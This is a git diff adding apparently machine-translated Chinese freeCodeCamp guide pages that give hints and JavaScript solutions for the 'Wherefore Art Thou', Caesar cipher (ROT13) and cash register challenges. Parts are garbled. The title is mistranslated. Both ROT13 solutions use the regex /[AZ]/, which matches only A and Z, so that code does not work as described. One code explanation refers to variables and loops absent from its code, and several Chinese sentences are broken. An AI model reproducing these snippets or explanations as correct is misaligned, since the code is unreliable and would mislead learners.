+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](https://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/wherefore-art-thou/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/wherefore-art-thou/index.md
new file mode 100644
index 0000000000..4187a9dedc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/wherefore-art-thou/index.md
@@ -0,0 +1,158 @@
+---
+title: Wherefore Art Thou
+localeTitle: 因此，你是艺术家
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+写的算法，将采取的`array`用于第一参数和返回的`array`的所有`object`相匹配的所有属性和数值• `Object`作为第二个参数传递。
+
+#### 相关链接
+
+*   [对于循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)
+*   [Array.prototype.filter（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
+*   [Object.hasOwnProperty（）](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty) [Object.keys（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+您可以使用`for`循环或`Array.prototype.filter`方法。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+尝试使用`Object.prototype.hasOwnProperty`方法来了解对象中是否存在属性名称（作为其自己的属性）。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+检查`collection`中`Object`等效性，将`Object`作为第二个参数传递给`whatIsInAName`函数。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function whatIsInAName(collection, source) { 
+  // "What's in a name? that which we call a rose 
+  // By any other name would smell as sweet.” 
+  // -- by William Shakespeare, Romeo and Juliet 
+  var srcKeys = Object.keys(source); 
+ 
+  // filter the collection 
+  return collection.filter(function (obj) { 
+    for(var i = 0; i < srcKeys.length; i++) { 
+      if(!obj.hasOwnProperty(srcKeys[i]) || obj[srcKeys[i]] !== source[srcKeys[i]]) { 
+        return false; 
+      } 
+    } 
+    return true; 
+  }); 
+ } 
+ 
+ // test here 
+ whatIsInAName([{ first: "Romeo", last: "Montague" }, { first: "Mercutio", last: null }, { first: "Tybalt", last: "Capulet" }], { last: "Capulet" }); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLmh/0)
+
+### 代码说明：
+
+*   我们使用`.filter()`过滤数组。
+*   使用`for loop`我们遍历对象中的每个项目。
+*   我们使用`if statement`来检查集合中的对象是否没有密钥，并且属性值与source中的值不匹配。
+*   如果上面的`if statement`是正确的，我们返回`false` 。否则，我们返回`true` ;
+
+#### 相关链接
+
+*   对于循环
+*   Array.prototype.filter（）
+*   [Object.hasOwnProperty（）](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function whatIsInAName(collection, source) { 
+  // "What's in a name? that which we call a rose 
+  // By any other name would smell as sweet.” 
+  // -- by William Shakespeare, Romeo and Juliet 
+  var srcKeys = Object.keys(source); 
+ 
+  return collection.filter(function (obj) { 
+    return srcKeys.every(function (key) { 
+      return obj.hasOwnProperty(key) && obj[key] === source[key]; 
+    }); 
+  }); 
+ } 
+ 
+ // test here 
+ whatIsInAName([{ first: "Romeo", last: "Montague" }, { first: "Mercutio", last: null }, { first: "Tybalt", last: "Capulet" }], { last: "Capulet" }); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLmi/0)
+
+### 代码说明：
+
+*   我们使用`.filter()`过滤集合。
+*   接下来，我们返回`.filter()`方法的`Boolean`值。
+*   最后，我们减少为`.every()`方法返回的`Boolean`值。
+
+#### 相关链接
+
+*   Array.prototype.filter（）
+*   Array.prototype.every（）
+*   [Object.hasOwnProperty（）](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function whatIsInAName(collection, source) { 
+  // "What's in a name? that which we call a rose 
+  // By any other name would smell as sweet.” 
+  // -- by William Shakespeare, Romeo and Juliet 
+  var srcKeys = Object.keys(source); 
+ 
+  // filter the collection 
+  return collection.filter(function (obj) { 
+    return srcKeys 
+      .map(function(key) { 
+        return obj.hasOwnProperty(key) && obj[key] === source[key]; 
+      }) 
+      .reduce(function(a, b) { 
+        return a && b; 
+      }); 
+  }); 
+ } 
+ 
+ // test here 
+ whatIsInAName([{ first: "Romeo", last: "Montague" }, { first: "Mercutio", last: null }, { first: "Tybalt", last: "Capulet" }], { last: "Capulet" }); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLmj/0)
+
+### 代码说明：
+
+*   我们首先使用`Array.filter()`过滤`collection` 。
+*   接下来，我们映射所有键并根据检查条件返回布尔值：键和它的对应值必须存在于我们要过滤的对象中。
+*   然后我们将映射的布尔值减少为单个布尔值，该布尔值指示是否所有srcKeys都通过了上面检查的条件。
+*   此单个布尔值将用于过滤集合。
+
+#### 相关链接
+
+*   Array.prototype.filter（）
+*   Array.prototype.reduce（）
+*   [Object.hasOwnProperty（）](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/caesars-cipher/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/caesars-cipher/index.md
new file mode 100644
index 0000000000..5f2128f860
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/caesars-cipher/index.md
@@ -0,0 +1,293 @@
+---
+title: Caesars Cipher
+localeTitle: 凯撒密码
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+*   您需要编写一个函数，该函数将使用_Caesar密码_编码的字符串作为参数并对其进行解码。
+*   这里使用的是ROT13，其中字母的值移动了13位。例如'A' ![:left_right_arrow:](https://forum.freecodecamp.com/images/emoji/emoji_one/left_right_arrow.png?v=3 "：left_right_arrow：") 'N'，'T' ![:left_right_arrow:](https://forum.freecodecamp.com/images/emoji/emoji_one/left_right_arrow.png?v=3 "：left_right_arrow：") 'G'。
+*   你必须将它移回13个位置，这样'N' ![:left_right_arrow:](https://forum.freecodecamp.com/images/emoji/emoji_one/left_right_arrow.png?v=3 "：left_right_arrow：") '一个'。
+
+#### 相关链接
+
+*   [String.prototype.charCodeAt](http://forum.freecodecamp.com/t/javascript-string-prototype-charcodeat/15933)
+*   使用String.fromCharCode
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+使用_String.charCodeAt（）_将英文字符转换为ASCII。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+使用_String.fromCharCode（）_将ASCII转换为英文字符。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+保留AZ之间不存在的任何东西。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    function rot13(str) { 
+      // Split str into a character array 
+      return str.split('') 
+      // Iterate over each character in the array 
+        .map.call(str, function(char) { 
+          // Convert char to a character code 
+          x = char.charCodeAt(0); 
+          // Checks if character lies between AZ 
+          if (x < 65 || x > 90) { 
+            return String.fromCharCode(x);  // Return un-converted character 
+          } 
+          //N = ASCII 78, if the character code is less than 78, shift forward 13 places 
+          else if (x < 78) { 
+            return String.fromCharCode(x + 13); 
+          } 
+          // Otherwise shift the character 13 places backward 
+          return String.fromCharCode(x - 13); 
+        }).join('');  // Rejoin the array into a string 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/38)
+
+### 代码说明：
+
+*   声明并初始化字符串变量`nstr`以存储已解码的字符串。
+*   for循环用于循环输入字符串的每个字符。
+*   如果角色不是大写的英文字母（即它的ascii不在65和91之间），我们将保持原样并[继续](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/continue)下一次迭代。
+*   如果它是大写的英文字母，我们将从它的ascii代码中减去13。
+*   如果ascii代码小于78，当它减去13时它将超出范围，所以我们将为它添加26（英文字母中的字母数），以便在A之后它将返回Z.例如M （77） ![:left_right_arrow:](https://forum.freecodecamp.com/images/emoji/emoji_one/left_right_arrow.png?v=3 "：left_right_arrow：") 77-13 = 64（不是英文字母）+26 = 90 ![:left_right_arrow:](https://forum.freecodecamp.com/images/emoji/emoji_one/left_right_arrow.png?v=3 "：left_right_arrow：") Z（90）。
+
+#### 相关链接
+
+*   [Array.prototype.map](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+*   [String.prototype.split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [Array.prototype.join](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+
+```javascript
+    // Solution with Regular expression and Array of ASCII character codes 
+    function rot13(str) { 
+      var rotCharArray = []; 
+      var regEx = /[AZ]/ ; 
+      str = str.split(""); 
+      for (var x in str) { 
+        if (regEx.test(str[x])) { 
+          // A more general approach 
+          // possible because of modular arithmetic 
+          // and cyclic nature of rot13 transform 
+          rotCharArray.push((str[x].charCodeAt() - 65 + 13) % 26 + 65); 
+        } else { 
+          rotCharArray.push(str[x].charCodeAt()); 
+        } 
+      } 
+      str = String.fromCharCode.apply(String, rotCharArray); 
+      return str; 
+    } 
+ 
+    // Change the inputs below to test 
+    rot13("LBH QVQ VG!"); 
+```
+
+### 代码说明：
+
+*   在名为`rotCharArray`的变量中创建一个空数组来存储字符代码。
+*   `regEx`变量存储从A到Z的所有大写字母的正则表达式。
+*   我们将`str`拆分为一个字符数组，然后使用for循环遍历数组中的每个字符。
+*   使用if语句，我们测试以查看字符串是否仅包含从A到Z的大写字母。
+*   如果返回true，我们使用`charCodeAt()`函数和rot13转换返回正确的值，否则返回初始值。
+*   然后，我们使用`rotCharArray`变量中的字符代码返回字符串。
+
+### 算法说明：
+```
+ALPHA    KEY BASE             ROTATED    ROT13 
+ ------------------------------------------------------------- 
+ [A]     65  <=>   0 + 13  =>  13 % 26  <=>  13 + 65 = 78 [N] 
+ [B]     66  <=>   1 + 13  =>  14 % 26  <=>  14 + 65 = 79 [O] 
+ [C]     67  <=>   2 + 13  =>  15 % 26  <=>  15 + 65 = 80 [P] 
+ [D]     68  <=>   3 + 13  =>  16 % 26  <=>  16 + 65 = 81 [Q] 
+ [E]     69  <=>   4 + 13  =>  17 % 26  <=>  17 + 65 = 82 [R] 
+ [F]     70  <=>   5 + 13  =>  18 % 26  <=>  18 + 65 = 83 [S] 
+ [G]     71  <=>   6 + 13  =>  19 % 26  <=>  19 + 65 = 84 [T] 
+ [H]     72  <=>   7 + 13  =>  20 % 26  <=>  20 + 65 = 85 [U] 
+ [I]     73  <=>   8 + 13  =>  21 % 26  <=>  21 + 65 = 86 [V] 
+ [J]     74  <=>   9 + 13  =>  22 % 26  <=>  22 + 65 = 87 [W] 
+ [K]     75  <=>  10 + 13  =>  23 % 26  <=>  23 + 65 = 88 [X] 
+ [L]     76  <=>  11 + 13  =>  24 % 26  <=>  24 + 65 = 89 [Y] 
+ [M]     77  <=>  12 + 13  =>  25 % 26  <=>  25 + 65 = 90 [Z] 
+ [N]     78  <=>  13 + 13  =>  26 % 26  <=>   0 + 65 = 65 [A] 
+ [O]     79  <=>  14 + 13  =>  27 % 26  <=>   1 + 65 = 66 [B] 
+ [P]     80  <=>  15 + 13  =>  28 % 26  <=>   2 + 65 = 67 [C] 
+ [Q]     81  <=>  16 + 13  =>  29 % 26  <=>   3 + 65 = 68 [D] 
+ [R]     82  <=>  17 + 13  =>  30 % 26  <=>   4 + 65 = 69 [E] 
+ [S]     83  <=>  18 + 13  =>  31 % 26  <=>   5 + 65 = 70 [F] 
+ [T]     84  <=>  19 + 13  =>  32 % 26  <=>   6 + 65 = 71 [G] 
+ [U]     85  <=>  20 + 13  =>  33 % 26  <=>   7 + 65 = 72 [H] 
+ [V]     86  <=>  21 + 13  =>  34 % 26  <=>   8 + 65 = 73 [I] 
+ [W]     87  <=>  22 + 13  =>  35 % 26  <=>   9 + 65 = 74 [J] 
+ [X]     88  <=>  23 + 13  =>  36 % 26  <=>  10 + 65 = 75 [K] 
+ [Y]     89  <=>  24 + 13  =>  37 % 26  <=>  11 + 65 = 76 [L] 
+ [Z]     90  <=>  25 + 13  =>  38 % 26  <=>  12 + 65 = 77 [M] 
+```
+
+#### 相关链接
+
+*   [Function.apply](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply)
+*   [正则表达式](https://forum.freecodecamp.com/t/regular-expressions-resources/15931)
+*   [Regex.test](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test)
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/39)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function rot13(str) { // LBH QVQ VG! 
+  return str.replace(/[AZ]/g, L => String.fromCharCode((L.charCodeAt(0) % 26) + 65)); 
+ } 
+```
+
+### 算法说明：
+
+理解在JavaScript中象征性地表示为`%`模运算符（ _有时称为模运算符_ ）是理解算法的关键。  
+这是一个有趣的运算符，它出现在工程的各个地方，例如密码学。
+
+基本上，对数字进行操作，它将数字除以给定的除数，并给出除法的余数。  
+例如，
+
+*   `0 % 5 = 0`因为`0 / 5 = 0`且余数为`0` 。
+    
+*   `2 % 5 = 2`因为`2 / 5 = 0` ，余数为`2`
+    
+*   `4 % 5 = 4`因为`4 / 5 = 0` ，余数为`4`
+    
+*   `5 % 5 = 0`因为`5 / 5 = 1`且余数为`0`
+    
+*   `7 % 5 = 2`因为`7 / 5 = 1` ，余数为`2`
+    
+*   `9 % 5 = 4`因为`9 / 5 = 1`而余数为`4`
+    
+*   `10 % 5 = 0`因为`10 / 5 = 2`且余数为`0`
+    
+
+但你必须注意到这里的模式。  
+您可能已经注意到，当它刚刚达到RHS值的倍数时，惊人的模运算符会覆盖LHS值。  
+例如，在我们的例子中，当`LHS = 5` ，它被包裹到`0`  
+要么  
+当`LHS = 10` ，它再次`LHS = 10` `0` 。
+
+因此，我们看到出现以下模式
+```
+ 0 ⇔ 0 
+ 1 ⇔ 1 
+ 2 ⇔ 2 
+ 3 ⇔ 3 
+ 4 ⇔ 4 
+ 5 ⇔ 0 
+ 6 ⇔ 1 
+ 7 ⇔ 2 
+ 8 ⇔ 3 
+ 9 ⇔ 4 
+ 10 ⇔ 0 
+```
+
+因此，我们得出结论，使用模运算符，可以将一系列值映射到\[ `0`到`DIVISOR - 1` \]之间的范围。在我们的情况下，我们映射\[ `5 - 9`之间\] \[ `0 - 4` \]或映射\[ `6 - 10` \]之间\[ `0 - 4` \]。
+
+你知道吗？
+
+现在让我们考虑映射`26`数字的范围，即在\[ `65 - 90` \]之间，它表示[Unicode字符集中的](http://unicode-table.com/en/alphabets/)大写\[ **英文字母** \]到\[ `0 - 25` \]之间的数字范围。
+```
+[A]  65 % 26 ⇔ 13 
+ [B]  66 % 26 ⇔ 14 
+ [C]  67 % 26 ⇔ 15 
+ [D]  68 % 26 ⇔ 16 
+ [E]  69 % 26 ⇔ 17 
+ [F]  70 % 26 ⇔ 18 
+ [G]  71 % 26 ⇔ 19 
+ [H]  72 % 26 ⇔ 20 
+ [I]  73 % 26 ⇔ 21 
+ [J]  74 % 26 ⇔ 22 
+ [K]  75 % 26 ⇔ 23 
+ [L]  76 % 26 ⇔ 24 
+ [M]  77 % 26 ⇔ 25 
+ [N]  78 % 26 ⇔  0 
+ [O]  79 % 26 ⇔  1 
+ [P]  80 % 26 ⇔  2 
+ [Q]  81 % 26 ⇔  3 
+ [R]  82 % 26 ⇔  4 
+ [S]  83 % 26 ⇔  5 
+ [T]  84 % 26 ⇔  6 
+ [U]  85 % 26 ⇔  7 
+ [V]  86 % 26 ⇔  8 
+ [W]  87 % 26 ⇔  9 
+ [X]  88 % 26 ⇔ 10 
+ [Y]  89 % 26 ⇔ 11 
+ [Z]  90 % 26 ⇔ 12 
+```
+
+您可以注意到，\[ `65 - 90` \]范围内的每个数字都映射到\[ `0 - 25` \]之间的唯一数字。  
+您可能还注意到，每个给定数字（例如`65` ）映射到另一个数字（例如`13` ），该数字可用作偏移值（即`65 + OFFSET` ）以获得给定数字的ROT13。
+
+例如`65`映射到`13` ，可以作为偏移值，并添加到`65` ，得到`78` 。
+```
+[A]  65 % 26 ⇔ 13 + 65 =  78 [N] 
+ [B]  66 % 26 ⇔ 14 + 65 =  79 [O] 
+ [C]  67 % 26 ⇔ 15 + 65 =  80 [P] 
+ [D]  68 % 26 ⇔ 16 + 65 =  81 [Q] 
+ [E]  69 % 26 ⇔ 17 + 65 =  82 [R] 
+ [F]  70 % 26 ⇔ 18 + 65 =  83 [S] 
+ [G]  71 % 26 ⇔ 19 + 65 =  84 [T] 
+ [H]  72 % 26 ⇔ 20 + 65 =  85 [U] 
+ [I]  73 % 26 ⇔ 21 + 65 =  86 [V] 
+ [J]  74 % 26 ⇔ 22 + 65 =  87 [W] 
+ [K]  75 % 26 ⇔ 23 + 65 =  88 [X] 
+ [L]  76 % 26 ⇔ 24 + 65 =  89 [Y] 
+ [M]  77 % 26 ⇔ 25 + 65 =  90 [Z] 
+ [N]  78 % 26 ⇔  0 + 65 =  65 [A] 
+ [O]  79 % 26 ⇔  1 + 65 =  66 [B] 
+ [P]  80 % 26 ⇔  2 + 65 =  67 [C] 
+ [Q]  81 % 26 ⇔  3 + 65 =  68 [D] 
+ [R]  82 % 26 ⇔  4 + 65 =  69 [E] 
+ [S]  83 % 26 ⇔  5 + 65 =  70 [F] 
+ [T]  84 % 26 ⇔  6 + 65 =  71 [G] 
+ [U]  85 % 26 ⇔  7 + 65 =  72 [H] 
+ [V]  86 % 26 ⇔  8 + 65 =  73 [I] 
+ [W]  87 % 26 ⇔  9 + 65 =  74 [J] 
+ [X]  88 % 26 ⇔ 10 + 65 =  75 [K] 
+ [Y]  89 % 26 ⇔ 11 + 65 =  76 [L] 
+ [Z]  90 % 26 ⇔ 12 + 65 =  77 [M] 
+```
+
+### 代码说明：
+
+*   `String.prototype.replace` [函数](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942)允许您基于某些模式匹配（由正则表达式定义）和[转换函数](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Specifying_a_function_as_a_parameter) （应用于每个模式匹配）来转换`String` 。
+*   [箭头函数](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions)语法用于将函数参数写入`replace()` 。
+*   `L`表示单个单位，从每个模式匹配`/[AZ]/g` - 字母表中的每个大写字母，从`A`到`Z` ，存在于字符串中。
+*   箭头函数对给定字符串中存在的英文字母的每个大写字母应用`rot13`变换。
+
+#### 相关链接
+
+*   [String.prototype.replace（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")对贡献者的说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/cash-register/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/cash-register/index.md
new file mode 100644
index 0000000000..65562f065f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/cash-register/index.md
@@ -0,0 +1,135 @@
+---
+title: Cash Register
+localeTitle: 收银机
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+*   您必须创建一个程序，该程序将返回包含`status`键和`change`键的对象。 `status`的值是字符串`INSUFFICIENT_FUNDS` ， `CLOSED`或`OPEN` ， `change`的值是更改到期的2D数组。
+
+#### 相关链接
+
+*   数据结构数组
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+*   当你事先知道你的登记册中有多少钱时，这会更容易。为此，建议使用函数将此信息分配给变量。然后，您可以查看是否有足够的资金来完成交易并返回更改，或者您是否应关闭注册表。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+*   当您知道正在使用的每个账单或硬币的价值时，这个问题会更容易，而不仅仅是寄存器中每个账单或硬币的总和。例如，知道镍的价值为0.05，以及您在收银机中拥有价值2.05美元的镍币这一事实是有用的。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+*   在移动到下一个之前，您必须从一种类型的账单或硬币获得尽可能多的更改，从更大到更小的价值。继续前进，直到计算完所有变更为止。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")初学者代码解决方案：
+```
+// Create an array of objects which hold the denominations and their values 
+ var denom = [ 
+  { name: 'ONE HUNDRED', val: 100.00}, 
+  { name: 'TWENTY', val: 20.00}, 
+  { name: 'TEN', val: 10.00}, 
+  { name: 'FIVE', val: 5.00}, 
+  { name: 'ONE', val: 1.00}, 
+  { name: 'QUARTER', val: 0.25}, 
+  { name: 'DIME', val: 0.10}, 
+  { name: 'NICKEL', val: 0.05}, 
+  { name: 'PENNY', val: 0.01} 
+ ]; 
+ 
+ function checkCashRegister(price, cash, cid) { 
+  var output = { status: null, change: [] }; 
+  var change = cash - price; 
+ 
+  // Transform CID array into drawer object 
+  var register = cid.reduce(function(acc, curr) { 
+    acc.total += curr[1]; 
+    acc[curr[0]] = curr[1]; 
+    return acc; 
+  }, { total: 0 }); 
+ 
+  // Handle exact change 
+  if (register.total === change) { 
+    output.status = 'CLOSED'; 
+    output.change = cid; 
+    return output; 
+  } 
+ 
+  // Handle obvious insufficient funds 
+  if (register.total < change) { 
+    output.status = 'INSUFFICIENT_FUNDS'; 
+    return output; 
+  } 
+ 
+  // Loop through the denomination array 
+  var change_arr = denom.reduce(function(acc, curr) { 
+    var value = 0; 
+    // While there is still money of this type in the drawer 
+    // And while the denomination is larger than the change remaining 
+    while (register[curr.name] > 0 && change >= curr.val) { 
+      change -= curr.val; 
+      register[curr.name] -= curr.val; 
+      value += curr.val; 
+ 
+      // Round change to the nearest hundreth deals with precision errors 
+      change = Math.round(change * 100) / 100; 
+    } 
+    // Add this denomination to the output only if any was used. 
+    if (value > 0) { 
+        acc.push([ curr.name, value ]); 
+    } 
+    return acc; // Return the current change_arr 
+  }, []); // Initial value of empty array for reduce 
+ 
+  // If there are no elements in change_arr or we have leftover change, return 
+  // the string "Insufficient Funds" 
+  if (change_arr.length < 1 || change > 0) { 
+    output.status = 'INSUFFICIENT_FUNDS'; 
+    return output; 
+  } 
+ 
+  // Here is your change, ma'am. 
+  output.status = 'OPEN'; 
+  output.change = change_arr; 
+  return output; 
+ } 
+ 
+ // test here 
+ checkCashRegister(19.50, 20.00, [["PENNY", 1.01], ["NICKEL", 2.05], ["DIME", 3.10], ["QUARTER", 4.25], ["ONE", 90.00], ["FIVE", 55.00], ["TEN", 20.00], ["TWENTY", 60.00], ["ONE HUNDRED", 100.00]]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/@scissorsneedfoo/cash-register-example)
+
+### 代码说明：
+
